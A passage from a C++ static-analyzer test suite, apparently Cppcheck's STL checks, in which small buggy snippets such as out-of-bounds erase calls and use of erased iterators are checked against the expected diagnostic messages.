std::vector::iterator>& b) {\\n\"\n \" auto it = b.begin();\\n\"\n \" a.erase(*it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12443\n \" std::vector v;\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"void f() {\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it != N::v.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void* p) {\\n\" // #12445\n \" std::vector&v = *(std::vector*)(p);\\n\"\n \" v.erase(v.begin(), v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13408\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& i : v) {\\n\"\n \" if (std::distance(&*v.cbegin(), &i)) {}\\n\"\n \" } \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIteratorOutOfBounds() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.end()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.end();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.end() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.begin() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()-1' which is out of bounds. [eraseIteratorOutOfBounds]\\n\"\n \"[test.cpp:3:23]: (error) Dereference of an invalid iterator: v.begin()-1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, std::vector::iterator it) {\\n\"\n \" if (it == v.end()) {}\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Either the condition 'it==v.end()' is redundant or function 'erase()' is called on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" ((v).erase)(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n // Dereferencing invalid pointer\n void dereference() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:5] -> [test.cpp:6] -> [test.cpp:3] -> [test.cpp:7]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:5:22] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // #6554 \"False positive eraseDereference - erase in while() loop\"\n check(\"typedef std::map packetMap;\\n\"\n \"packetMap waitingPackets;\\n\"\n \"void ProcessRawPacket() {\\n\"\n \" packetMap::iterator wpi;\\n\"\n \" while ((wpi = waitingPackets.find(lastInOrder + 1)) != waitingPackets.end()) {\\n\"\n \" waitingPackets.erase(wpi);\\n\"\n \" for (unsigned pos = 0; pos < buf.size(); ) { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8509 Uniform initialization ignored for iterator\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator iter {ints.cbegin()};\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_break() { // #3644\n check(\"void f(std::vector &ints) {\\n\"\n \" std::vector::iterator iter;\\n\"\n \" for (iter=ints.begin();iter!=ints.end();++iter) {\\n\"\n \" if (*iter == 2) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (*iter == 3) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_member() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::iterator iter;\\n\"\n \" iter = ints.begin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n\n // Reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::reverse_iterator iter;\\n\"\n \" iter = ints.rbegin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n void dereference_auto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" auto iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:27] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto x = *myList.begin();\\n\"\n \" myList.erase(x);\\n\"\n \" auto b = x.first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const CXXRecordDecl *CXXRecordDecl::getTemplateInstantiationPattern() const {\\n\"\n \" if (auto *TD = dyn_cast(this)) {\\n\"\n \" auto From = TD->getInstantiatedFrom();\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void STLSize() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:11]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.length(); ++ii) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" do {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" ++i;\\n\"\n \" } while(ii <= foo.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (anything()) {\\n\"\n \" } else if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(1);\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" int ii = 0;\\n\"\n \" foo[ii] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for (B b : D()) {}\\n\" // Don't crash on range-based for-loop\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() + 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void STLSizeNoErr() {\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii < foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" if (ii == foo.size())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:11:16]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n {\n check(\"void f(const std::map &data) {\\n\"\n \" int i = x;\"\n \" for (int i = 5; i <= data.size(); i++)\\n\"\n \" data[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() - 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void negativeIndex() {\n check(\"void f(const std::vector &v) {\\n\"\n \" v[-11] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Array index -11 is out of bounds. [negativeContainerIndex]\\n\", errout_str());\n\n check(\"int f(int x, const std::vector& a) {\\n\"\n \" if (!(x < 5))\\n\"\n \" return a[x - 5];\\n\"\n \" else\\n\"\n \" return a[4 - x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::array values;\\n\"\n \"int get_value();\\n\"\n \"int compute() {\\n\"\n \" int i = get_value();\\n\"\n \" if( i < 0 || i > 5)\\n\"\n \" return -1;\\n\"\n \" int sum = 0;\\n\"\n \" for( int j = i+1; j < 7; ++j)\\n\"\n \" sum += values[j-1];\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int g() { return 0; } };\\n\" // #11831\n \"struct C {\\n\"\n \" int h() const { return b->g(); }\\n\"\n \" B* b;\\n\"\n \"};\\n\"\n \"struct O {\\n\"\n \" int f() const;\\n\"\n \" std::vector v;\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"int O::f() const { return v[c.h() - 1]; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #13196\n \" if (v.empty())\\n\"\n \" return;\\n\"\n \" int idx = -1;\\n\"\n \" for (int i = 0; i < v.size(); ++i) {\\n\"\n \" idx = i;\\n\"\n \" }\\n\"\n \" (void)v[idx];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n const auto oldSettings = settings; // TODO: get rid of this\n settings.daca = true;\n\n check(\"void f() {\\n\"\n \" const char a[][5] = { \\\"1\\\", \\\"true\\\", \\\"on\\\", \\\"yes\\\" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n settings = oldSettings;\n }\n\n void negativeIndexMultiline() {\n setMultiline();\n const auto oldSettings = settings; // TODO: get rid of this\n settings.verbose = true;\n\n check(\"bool valid(int);\\n\" // #11697\n \"void f(int i, const std::vector& v) {\\n\"\n \" if (!valid(i))\\n\"\n \" return;\\n\"\n \" if (v[i]) {}\\n\"\n \"}\\n\"\n \"void g(const std::vector& w) {\\n\"\n \" f(-1, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: warning: Array index -1 is out of bounds. [negativeContainerIndex]\\n\"\n \"[test.cpp:8:8]: note: Calling function 'f', 1st argument '-1' value is -1\\n\"\n \"[test.cpp:3:9]: note: Assuming condition is false\\n\"\n \"[test.cpp:5:9]: note: Negative array index\\n\",\n errout_str());\n\n settings = oldSettings;\n }\n\n void erase1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:7:5] -> [test.cpp:8:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" std::list::iterator i = ints.begin();\\n\"\n \" i = ints.erase(i);\\n\"\n \" *i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator i;\\n\"\n \" while (i != x.y.end())\\n\"\n \" i = x.y.erase(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2101\n check(\"void f(vector< std::list > &ints, unsigned int i)\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for(it = ints[i].begin(); it != ints[i].end(); it++) {\\n\"\n \" if (*it % 2)\\n\"\n \" it = ints[i].erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase2() {\n check(\"static void f()\\n\"\n \"{\\n\"\n \" for (iterator it = foo.begin(); it != foo.end(); it = next)\\n\"\n \" {\\n\"\n \" next = it;\\n\"\n \" next++;\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase3() {\n check(\"static void f(std::list &foo)\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" foo.erase(it->a);\\n\"\n \" if (it->b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it, it2;\\n\"\n \" for (it = foo.begin(); it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" for (; it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(++it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list foo;\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 123)\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5] -> [test.cpp:8:22]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase6() {\n check(\"void f() {\\n\"\n \" std::vector vec(3);\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator itEnd = vec.end();\\n\"\n \" for (it = vec.begin(); it != itEnd; it = vec.begin(), itEnd = vec.end())\\n\"\n \" {\\n\"\n \" vec.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseBreak() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (x) {\\n\"\n \" foo.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n }\n\n void eraseContinue() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator jt = ints.begin();\\n\"\n \" for (it = ints.begin(); it != ints.end(); it = jt) {\\n\"\n \" ++jt;\\n\"\n \" if (*it == 1) {\\n\"\n \" jt = ints.erase(it);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map my_map) {\\n\" // #7365\n \" std::map::iterator itr = my_map.begin();\\n\"\n \" switch (itr->first) {\\n\"\n \" case 0:\\n\"\n \" my_map.erase(itr);\\n\"\n \" continue;\\n\"\n \" case 1:\\n\"\n \" itr->second = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1) {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (somecondition) {\\n\"\n \" if (*it == 1)\\n\"\n \" foo.erase(it);\\n\"\n \" else\\n\"\n \" *it = 0;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (a) {\\n\"\n \" if (b)\\n\"\n \" foo.erase(it);\\n\" // <- TODO: erase shound't cause inconclusive valueflow\n \" else\\n\"\n \" *it = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:5] -> [test.cpp:7] -> [test.cpp:8] -> [test.cpp:8] -> [test.cpp:7] -> [test.cpp:5] -> [test.cpp:9] -> [test.cpp:3] -> [test.cpp:5]: (error) Using iterator to local container 'foo' that may be invalid.\\n\",\n \"[test.cpp:5:24] -> [test.cpp:7:13] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:7:13] -> [test.cpp:5:31] -> [test.cpp:9:21] -> [test.cpp:3:22] -> [test.cpp:5:28]: (error, inconclusive) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void eraseGoto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" goto abc;\\n\"\n \" }\\n\"\n \"bar:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" it = foo.begin();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign2() {\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" for (std::list::iterator it = ints.begin(); it != ints.end();) {\\n\"\n \" if (*it == 123) {\\n\"\n \" std::list::iterator copy = it;\\n\"\n \" ++copy;\\n\"\n \" ints.erase(it);\\n\"\n \" it = copy;\\n\"\n \" } else {\\n\"\n \" it->second = 123;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign3() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list >::const_iterator i = l.begin();\\n\"\n \" std::list::const_iterator j = (*i).begin();\\n\"\n \" cout << *j << endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign4() {\n check(\"void f(std::list data) {\\n\"\n \" std::list::const_iterator it = data.begin();\\n\"\n \" it = data.erase(it);\\n\"\n \" it = data.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(Data data) {\\n\"\n \" std::list::const_iterator it = data.ints.begin();\\n\"\n \" it = data.ints.erase(it);\\n\"\n \" it = data.ints.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssignByFunctionCall() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list::const_iterator i;\\n\"\n \" bar(i);\\n\"\n \" cout << *i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseErase() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" ints.erase(iter);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:1] -> [test.cpp:4] -> [test.cpp:5] -> [test.cpp:1] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:1:31] -> [test.cpp:4:22] -> [test.cpp:5:10] -> [test.cpp:1:27] -> [test.cpp:6:16]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void eraseByValue() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::set foo;\\n\"\n \" for (std::set::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(*it);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterator 'it' becomes invalid when deleted by value from 'foo'\\n\", \"\", errout_str());\n\n check(\"int f(std::set foo) {\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \" return *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:3:5]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::set foo)\\n\"\n \"{\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5669\n check(\"void f() {\\n\"\n \" HashSet_Ref::iterator aIt = m_ImplementationMap.find( xEle );\\n\"\n \" m_SetLoadedFactories.erase(*aIt);\\n\"\n \" m_SetLoadedFactories.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*aIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Invalid iterator: aIt [invalidIterator1]\\n\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" std::list::iterator bIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*bIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIf() {\n // #4816\n check(\"void func(std::list strlist) {\\n\"\n \" for (std::list::iterator str 